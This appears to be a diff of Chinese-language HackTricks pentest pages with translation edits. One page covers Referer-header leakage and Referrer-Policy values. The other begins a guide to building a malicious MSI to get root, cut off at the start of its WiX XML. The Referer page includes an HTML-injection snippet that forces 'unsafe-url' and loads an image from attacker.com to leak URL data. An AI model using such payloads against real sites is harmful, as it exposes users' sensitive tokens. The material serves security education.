@ -2,15 +2,15 @@
|
||||
|
||||
# 引荐头和策略
|
||||
|
||||
引荐是浏览器用来指示上一个访问页面的头部。
|
||||
Referrer 是浏览器用来指示上一个访问页面的头部。
|
||||
|
||||
## 敏感信息泄露
|
||||
|
||||
如果在网页的某个地方，任何敏感信息位于GET请求参数中，如果页面包含指向外部源的链接，或者攻击者能够使/建议（社会工程学）用户访问由攻击者控制的URL。它可能能够提取最新GET请求中的敏感信息。
|
||||
如果在某个网页中，任何敏感信息位于 GET 请求参数中，如果该页面包含指向外部源的链接，或者攻击者能够使/建议（社会工程学）用户访问一个由攻击者控制的 URL。它可能能够在最新的 GET 请求中提取敏感信息。
|
||||
|
||||
## 缓解措施
|
||||
|
||||
您可以让浏览器遵循一个**Referrer-policy**，以**避免**将敏感信息发送到其他Web应用程序：
|
||||
您可以让浏览器遵循一个 **Referrer-policy**，以 **避免** 将敏感信息发送到其他网络应用程序：
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
@ -21,15 +21,15 @@ Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## 反制措施
|
||||
## Counter-Mitigation
|
||||
|
||||
您可以使用 HTML meta 标签覆盖此规则（攻击者需要利用 HTML 注入）：
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## 防御
|
||||
|
||||
永远不要将任何敏感数据放入GET参数或URL中的路径。
|
||||
永远不要将任何敏感数据放入URL中的GET参数或路径中。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
# 创建恶意 MSI 并获取 Root
|
||||
|
||||
MSI 安装程序的创建将使用 wixtools，具体来说，将利用 [wixtools](http://wixtoolset.org)。值得一提的是，尝试了其他 MSI 构建工具，但在这种情况下并未成功。
|
||||
MSI 安装程序的创建将使用 wixtools，具体来说，将利用 [wixtools](http://wixtoolset.org)。值得一提的是，尝试了其他 MSI 构建工具，但在这个特定情况下并不成功。
|
||||
|
||||
为了全面了解 wix MSI 的使用示例，建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里，您可以找到各种示例，演示 wix MSI 的用法。
|
||||
|
||||
目标是生成一个将执行 lnk 文件的 MSI。为了实现这一点，可以使用以下 XML 代码（[xml 来自这里](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)）：
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user